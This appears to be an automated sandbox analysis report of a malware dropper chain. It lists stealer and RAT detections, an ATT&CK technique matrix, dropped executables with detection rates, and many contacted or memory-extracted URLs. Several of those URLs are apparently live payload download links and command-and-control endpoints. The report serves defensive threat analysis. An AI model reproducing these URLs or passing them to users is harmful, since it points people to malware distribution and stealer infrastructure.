Source: Yara match	File source: 0000001C.00000002.2618075944.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: nnoSckkth0srkZiZ3BOPqSkN.exe PID: 3916, type: MEMORYSTR

Yara detected Socks5Systemz

Source: Yara match	File source: 00000038.00000002.3246257379.0000000002CE1000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000038.00000002.3245803876.00000000026AD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000010.00000002.2859433930.00000000013FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.2388378578.0000000000EEA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Mk75cxC4KyOkgnwZzE1K_RlU.exe PID: 4080, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 5.2.2Su0FBbBo66AP291hju1uAp_.exe.3a05570.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2178102890.0000000003A1E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.2780079788.000000000146C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.2707484897.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2Su0FBbBo66AP291hju1uAp_.exe PID: 2412, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Mk75cxC4KyOkgnwZzE1K_RlU.exe PID: 4080, type: MEMORYSTR

Yara detected zgRAT

Source: Yara match	File source: 29.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.GYi2x83ApCTB3_vjRj5FL48U.exe.3885570.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.GYi2x83ApCTB3_vjRj5FL48U.exe.3885570.0.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	221 Windows Management Instrumentation	1 Scripting	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	12 Native API	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	111 Deobfuscate/Decode Files or Information	1 Credential API Hooking	1 Account Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	2 Windows Service	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	1 Credentials in Registry	13 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Service Execution	21 Registry Run Keys / Startup Folder	1 Access Token Manipulation	3 Obfuscated Files or Information	NTDS	359 System Information Discovery	Distributed Component Object Model	1 Credential API Hooking	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	2 Windows Service	1 Install Root Certificate	LSA Secrets	11101 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	411 Process Injection	31 Software Packing	Cached Domain Credentials	1 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	21 Registry Run Keys / Startup Folder	1 Timestomp	DCSync	581 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	11 Masquerading	/etc/passwd and /etc/shadow	3 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	581 Virtualization/Sandbox Evasion	Network Sniffing	1 Remote System Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	1 Access Token Manipulation	Input Capture	1 System Network Configuration Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	411 Process Injection	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	8%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\ejitkpfdxvzt\orpqcnvisucm.exe	100%	Avira	TR/Miner.ssaxo
C:\ProgramData\jewkkwnf\jewkkwnf.exe	100%	Avira	TR/AD.Nekark.psmde
C:\ProgramData\DKIM Authenticator lib 9.11.45\DKIM Authenticator lib 9.11.45.exe	100%	Joe Sandbox ML
C:\Users\userJJJJDAAECG.exe	100%	Joe Sandbox ML
C:\ProgramData\AFIDGDBGCA.exe	100%	Joe Sandbox ML
C:\Users\userIDHIEGIIIE.exe	100%	Joe Sandbox ML
C:\ProgramData\JKECFCFBGD.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Batch AVI Converter\batchaviconverter32.exe	100%	Joe Sandbox ML
C:\ProgramData\AFIDGDBGCA.exe	18%	ReversingLabs
C:\ProgramData\JKECFCFBGD.exe	18%	ReversingLabs
C:\ProgramData\ejitkpfdxvzt\orpqcnvisucm.exe	83%	ReversingLabs	Win64.Trojan.Privateloader
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\jewkkwnf\jewkkwnf.exe	68%	ReversingLabs	ByteCode-MSIL.Trojan.Privateloader
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\userIDHIEGIIIE.exe	18%	ReversingLabs
C:\Users\userJJJJDAAECG.exe	18%	ReversingLabs
C:\Users\user\AppData\Local\Batch AVI Converter\Qt5OpenGL.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Batch AVI Converter\is-1HF8J.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Batch AVI Converter\is-3RMPS.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Batch AVI Converter\is-KEELI.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Batch AVI Converter\is-OV7N4.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Batch AVI Converter\is-R68PO.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Batch AVI Converter\is-V3DES.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Batch AVI Converter\libeay32.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Batch AVI Converter\libssl-1_1.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Batch AVI Converter\msvcp71.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Batch AVI Converter\msvcr71.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Batch AVI Converter\ssleay32.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	68%	ReversingLabs	ByteCode-MSIL.Trojan.Privateloader
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\66daf6d8ac980_PeakSports[1].exe	67%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\avoufshire[1].exe	13%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\burda[1].exe	34%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\66dc99a997229_VirtualLibrary[1].exe	71%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\66e179cc20793_lyla2[1].exe	47%	ReversingLabs	Win32.Trojan.CryptBot
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\66e197066b3e8_xin[1].exe	24%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\lgrn[1].exe	18%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vtrwh12[1].exe	18%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66dd2c2d3b88f_opera[1].exe	83%	ReversingLabs	Win64.Trojan.Privateloader
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66e06cea88f93_BlueSapphire[1].exe	58%	ReversingLabs	Win32.Spyware.Lummastealer
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66e19745cc64e_crypted[1].exe	26%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\66d70e8640404_trics[1].exe	68%	ReversingLabs	ByteCode-MSIL.Trojan.Privateloader
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\66e1a49ce28da_wtyhjkosefktyh[1].exe	18%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\lgrn[1].exe	18%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\sgfdm[1].exe	18%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vhtrw[1].exe	18%	ReversingLabs
C:\Users\user\AppData\Local\Temp\LAzlmFmPejofyAjGuKql.dll	24%	ReversingLabs	Win32.Trojan.Generic

Name	IP	Active	Malicious
fallaeltro.es	37.153.95.99	true	false
youtransfer.net	158.69.225.124	true	false
ipinfo.io	34.117.59.81	true	false
file-link-iota.vercel.app	76.76.21.61	true	false
api64.ipify.org	104.237.62.213	true	false
240902180529931.tyr.zont16.com	unknown	unknown	false

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://t.me/edm0d	true
https://fallaeltro.es/sgfdm.exe	false
https://fallaeltro.es/vtrwh12.exe	false
https://file-link-iota.vercel.app/feoihjfehfue	false
https://5.75.214.132/mozglue.dll	true
awwardwiqi.shop	true
http://176.113.115.187/avoufshire.exe	false
https://steamcommunity.com/profiles/76561199768374681	true
locatedblsoqp.shop	true
caffegclasiqwp.shop	true
https://5.75.214.132/vcruntime140.dll	true
https://5.75.214.132/nss3.dll	true
analforeverlovyu.top	true
condedqpwqm.shop	true
https://api64.ipify.org/?format=json	false

URLs from Memory and Binaries

Name	Source	Malicious
http://45.91.200.135/api/twofish.phpmf	RegAsm.exe, 00000001.00000002.2110880630.0000000000F2D000.00000004.00000020.00020000.00000000.sdmp	false
http://tventyvd20sr.top/v1/upload.php	Vwagc2Gf16eP8XIbenmQEOda.exe, 0000000E.00000003.2931594192.0000000000151000.00000004.00000020.00020000.00000000.sdmp	false
https://duckduckgo.com/chrome_newtab	Vwagc2Gf16eP8XIbenmQEOda.exe, 0000000E.00000003.2276057061.0000000003240000.00000004.00000020.00020000.00000000.sdmp	false
https://gcc.gnu.org/bugs/):	Vwagc2Gf16eP8XIbenmQEOda.exe, 0000000E.00000002.3280362120.000000000142F000.00000004.00000020.00020000.00000000.sdmp	false
https://duckduckgo.com/ac/?q=	Vwagc2Gf16eP8XIbenmQEOda.exe, 0000000E.00000003.2276057061.0000000003240000.00000004.00000020.00020000.00000000.sdmp	false
http://purl.oclc.org/ooxml/officeDocument/relationships/notesSlide	file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	false
http://purl.oclc.org/ooxml/officeDocument/relationships/revisionLog	file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	false
http://147.45.44.104/lopsa/66daf6d8ac980_PeakSports.exe#pend8	RegAsm.exe, 00000001.00000002.2113898580.0000000003A3A000.00000004.00000020.00020000.00000000.sdmp	false
http://147.45.44.104/revada/66e1a49ce28da_wtyhjkosefktyh.exew	RegAsm.exe, 00000001.00000002.2110880630.0000000000F54000.00000004.00000020.00020000.00000000.sdmp	false
http://purl.oclc.org/ooxml/officeDocument/relationships/extendedProperties	file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	false
http://purl.oclc.org/ooxml/officeDocument/relationships/mailMergeSource	file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	false
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.00000000014C6000.00000004.00000020.00020000.00000000.sdmp	false
https://fallaeltro.es:80/vhtrw.exe	RegAsm.exe, 00000001.00000002.2113898580.00000000039C2000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.103GIDBG--	Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2858213421.00000000007C1000.00000040.00000001.01000000.00000012.sdmp	false
http://purl.oclc.org/ooxml/officeDocument/relationships/diagramQuickStyle	file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	false
http://185.215.113.103/q	Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.0000000001458000.00000004.00000020.00020000.00000000.sdmp	false
http://tventyvd20sr.top/v1/upload.php.	Vwagc2Gf16eP8XIbenmQEOda.exe, 0000000E.00000003.2931683284.0000000000163000.00000004.00000020.00020000.00000000.sdmp, Vwagc2Gf16eP8XIbenmQEOda.exe, 0000000E.00000003.2931545946.0000000000153000.00000004.00000020.00020000.00000000.sdmp	false
http://31.41.244.9/doku/burda.exeC:	RegAsm.exe, 00000001.00000002.2113898580.00000000039B0000.00000004.00000020.00020000.00000000.sdmp	false
http://purl.oclc.org/ooxml/officeDocument/relationships/externalLink	file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	false
http://gacan.zapto.org_DEBUG.zip/c	2Su0FBbBo66AP291hju1uAp_.exe, 00000005.00000002.2178102890.0000000003A1E000.00000004.00000800.00020000.00000000.sdmp	false
http://purl.oclc.org/ooxml/officeDocument/relationships/endnotes	file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	false
http://purl.oclc.org/ooxml/officeDocument/relationships/attachedTemplate	file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	false
https://file-link-iota.vercel.app/feoihjfehfueC:	RegAsm.exe, 00000001.00000002.2110880630.0000000000F54000.00000004.00000020.00020000.00000000.sdmp	false
http://147.45.44.104/prog/66d70e8640404_trics.exeC:	RegAsm.exe, 00000001.00000002.2110880630.0000000000F54000.00000004.00000020.00020000.00000000.sdmp	false
http://45.91.200.135:80/api/crazyfish.phpWf	RegAsm.exe, 00000001.00000002.2110880630.0000000000EC6000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.103	Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.00000000013FE000.00000004.00000020.00020000.00000000.sdmp, Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2858213421.00000000007FC000.00000040.00000001.01000000.00000012.sdmp, Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2858213421.00000000007C1000.00000040.00000001.01000000.00000012.sdmp	false
https://fallaeltro.es:80/vhtrw.exe;	RegAsm.exe, 00000001.00000002.2113898580.00000000039C2000.00000004.00000020.00020000.00000000.sdmp	false
https://youtransfer.net/Ew	RegAsm.exe, 00000001.00000002.2115993877.0000000003AAD000.00000004.00000020.00020000.00000000.sdmp	false
http://purl.oclc.org/ooxml/officeDocument/relationships/customXmlProps	file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	false
http://147.45.44.104/yuop/66e197066b3e8_xin.exe#xin	RegAsm.exe, 00000001.00000002.2113898580.00000000039F7000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2110880630.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2113898580.00000000039B0000.00000004.00000020.00020000.00000000.sdmp	false
http://147.45.44.104/lopsa/66daf6d8ac980_PeakSports.exe#pendBg	RegAsm.exe, 00000001.00000002.2113898580.0000000003A3A000.00000004.00000020.00020000.00000000.sdmp	false
http://tventyvd20sr.top:80/v1/upload.phpf	Vwagc2Gf16eP8XIbenmQEOda.exe, 0000000E.00000002.3276991126.0000000000135000.00000004.00000020.00020000.00000000.sdmp, Vwagc2Gf16eP8XIbenmQEOda.exe, 0000000E.00000003.2931877057.0000000000135000.00000004.00000020.00020000.00000000.sdmp, Vwagc2Gf16eP8XIbenmQEOda.exe, 0000000E.00000003.2931707883.0000000000135000.00000004.00000020.00020000.00000000.sdmp, Vwagc2Gf16eP8XIbenmQEOda.exe, 0000000E.00000003.2931594192.0000000000133000.00000004.00000020.00020000.00000000.sdmp	false
http://purl.oclc.org/ooxml/officeDocument/relationships/pivotCacheRecords	file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	false
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.00000000014C6000.00000004.00000020.00020000.00000000.sdmp	false
https://youtransfer.net/5wi	RegAsm.exe, 00000001.00000002.2115993877.0000000003AAD000.00000004.00000020.00020000.00000000.sdmp	false
http://147.45.44.104/lopsa/66daf6d8ac980_PeakSports.exe#pendK	RegAsm.exe, 00000001.00000002.2113898580.0000000003A3A000.00000004.00000020.00020000.00000000.sdmp	false
http://purl.oclc.org/ooxml/officeDocument/relationships/customProperty	file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	false
http://185.215.113.103/0d60be0de163924d/vcruntime140.dllten	Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.0000000001470000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.103/e2b1563c6670f193.php	Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2974940375.0000000029B72000.00000004.00000020.00020000.00000000.sdmp	false
https://api.ip.sb/ip	nnoSckkth0srkZiZ3BOPqSkN.exe, 00000009.00000002.2184185015.0000000003415000.00000004.00000800.00020000.00000000.sdmp	false
https://api.datamarket.azure.com/data.ashx/	Dzj5MNqCPIubP7Rrjm1D2Yt6.exe, 00000007.00000002.2227701770.00000000040B9000.00000004.00000800.00020000.00000000.sdmp	false
http://147.45.44.104/yuop/66e179cc20793_lyla2.exePz(	RegAsm.exe, 00000001.00000002.2113898580.0000000003A13000.00000004.00000020.00020000.00000000.sdmp	false
http://purl.oclc.org/ooxml/officeDocument/relationships/slideUpdateUrl	file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	false
http://185.215.113.103/e2b1563c6670f193.php~	Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.0000000001470000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.103/ocal	Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.0000000001445000.00000004.00000020.00020000.00000000.sdmp	false
http://www.jrsoftware.org/ishelp/index.php?topic=setupcmdline	D4wpDprTNebjzitxM8NmQjMu.exe, D4wpDprTNebjzitxM8NmQjMu.exe, 0000000A.00000002.3236960709.0000000000401000.00000020.00000001.01000000.0000000D.sdmp	false
https://fallaeltro.es/sgfdm.exe6	RegAsm.exe, 00000001.00000002.2110880630.0000000000F54000.00000004.00000020.00020000.00000000.sdmp	false
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Vwagc2Gf16eP8XIbenmQEOda.exe, 0000000E.00000003.2276057061.0000000003240000.00000004.00000020.00020000.00000000.sdmp	false
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.00000000014C6000.00000004.00000020.00020000.00000000.sdmp	false
http://147.45.44.104/revada/66e06cea88f93_BlueSapphire.exe#upus.	RegAsm.exe, 00000001.00000002.2113898580.00000000039E3000.00000004.00000020.00020000.00000000.sdmp	false
http://147.45.44.104/revada/66e06cea88f93_BlueSapphire.exe#upusdSD	RegAsm.exe, 00000001.00000002.2113898580.0000000003A3A000.00000004.00000020.00020000.00000000.sdmp	false
https://file-link-iota.vercel.app/feoihjfehfuei	RegAsm.exe, 00000001.00000002.2110880630.0000000000F2D000.00000004.00000020.00020000.00000000.sdmp	false
http://purl.oclc.org/ooxml/officeDocument/relationships/officeDocument	file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	false
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm	Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2858213421.000000000082A000.00000040.00000001.01000000.00000012.sdmp	false
http://147.45.44.104/lopsa/66daf6d8ac980_PeakSports.exe#pendf6d8ac980_PeakSports.exe#pend	RegAsm.exe, 00000001.00000002.2110880630.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp	false
https://www.ecosia.org/newtab/	Vwagc2Gf16eP8XIbenmQEOda.exe, 0000000E.00000003.2276057061.0000000003240000.00000004.00000020.00020000.00000000.sdmp	false
http://176.113.115.33/ssl/install.exeC:	RegAsm.exe, 00000001.00000002.2113898580.00000000039B0000.00000004.00000020.00020000.00000000.sdmp	false
https://fallaeltro.es/sgfdm.exe-	RegAsm.exe, 00000001.00000002.2110880630.0000000000F54000.00000004.00000020.00020000.00000000.sdmp	false
http://tventyvd20sr.top/v1/upload.phpo	Vwagc2Gf16eP8XIbenmQEOda.exe, 0000000E.00000002.3276809553.000000000010E000.00000004.00000020.00020000.00000000.sdmp	false
http://tventyvd20sr.top/	Vwagc2Gf16eP8XIbenmQEOda.exe, 0000000E.00000003.2931707883.0000000000149000.00000004.00000020.00020000.00000000.sdmp, Vwagc2Gf16eP8XIbenmQEOda.exe, 0000000E.00000003.2931877057.0000000000135000.00000004.00000020.00020000.00000000.sdmp, Vwagc2Gf16eP8XIbenmQEOda.exe, 0000000E.00000003.2931707883.0000000000135000.00000004.00000020.00020000.00000000.sdmp, Vwagc2Gf16eP8XIbenmQEOda.exe, 0000000E.00000003.2931594192.0000000000133000.00000004.00000020.00020000.00000000.sdmp	false
http://147.45.44.104/lopsa/66dc99a997229_VirtualLibrary.exe#frontC:	RegAsm.exe, 00000001.00000002.2113898580.00000000039B0000.00000004.00000020.00020000.00000000.sdmp	false
http://purl.oclc.org/ooxml/officeDocument/relationships/dialogsheet	file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	false
http://147.45.44.104/revada/66e06cea88f93_BlueSapphire.exe#upus=	RegAsm.exe, 00000001.00000002.2113898580.0000000003A3A000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.103/e2b1563c6670f193.phpY(	Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.0000000001458000.00000004.00000020.00020000.00000000.sdmp	false
http://www.winimage.com/zLibDllm_object	Dzj5MNqCPIubP7Rrjm1D2Yt6.exe, 00000007.00000002.2227701770.00000000040B9000.00000004.00000800.00020000.00000000.sdmp	false
https://ipinfo.io/	RegAsm.exe, 00000001.00000002.2110880630.0000000000ED3000.00000004.00000020.00020000.00000000.sdmp	false
http://176.113.115.33/ssl/install.exehjfehfue	RegAsm.exe, 00000001.00000002.2110880630.0000000000F2D000.00000004.00000020.00020000.00000000.sdmp	false
http://147.45.44.104/yuop/66e19745cc64e_crypted.exe#1e#pendus	RegAsm.exe, 00000001.00000002.2110880630.0000000000F2D000.00000004.00000020.00020000.00000000.sdmp	false
https://datamarket.azure.com/embedded/resultrhttps://datamarket.accesscontrol.windows.net/v2/OAuth2-	Dzj5MNqCPIubP7Rrjm1D2Yt6.exe, 00000007.00000002.2227701770.00000000040B9000.00000004.00000800.00020000.00000000.sdmp	false
https://fallaeltro.es:80/vtrwh12.exeaTA	RegAsm.exe, 00000001.00000002.2113898580.0000000003A3A000.00000004.00000020.00020000.00000000.sdmp	false
http://purl.oclc.org/ooxml/officeDocument/relationships/webSettings	file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	false
http://purl.oclc.org/ooxml/officeDocument/relationships/volatileDependencies	file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	false
https://ipinfo.io/https://ipgeolocation.io/::	file.exe, 00000000.00000002.1726745266.00000000044A6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1726745266.0000000004A13000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false
http://purl.oclc.org/ooxml/officeDocument/relationships/glossaryDocument	file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	false
https://datamarket.accesscontrol.windows.net/v2/OAuth2-13Chttps://api.datamarket.azure.com/#PowerPiv	file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	false
http://purl.oclc.org/ooxml/officeDocument/relationships/mailMergeHeaderSource	file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	false
https://fallaeltro.es:80/sgfdm.exe	RegAsm.exe, 00000001.00000002.2113898580.00000000039C2000.00000004.00000020.00020000.00000000.sdmp	false
http://purl.oclc.org/ooxml/officeDocument/relationships/tableSingleCells	file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	false
http://185.215.113.103/e2b1563c6670f193.phpcal	Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.00000000013FE000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.103/0d60be0de163924d/mozglue.dlla	Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.0000000001470000.00000004.00000020.00020000.00000000.sdmp	false
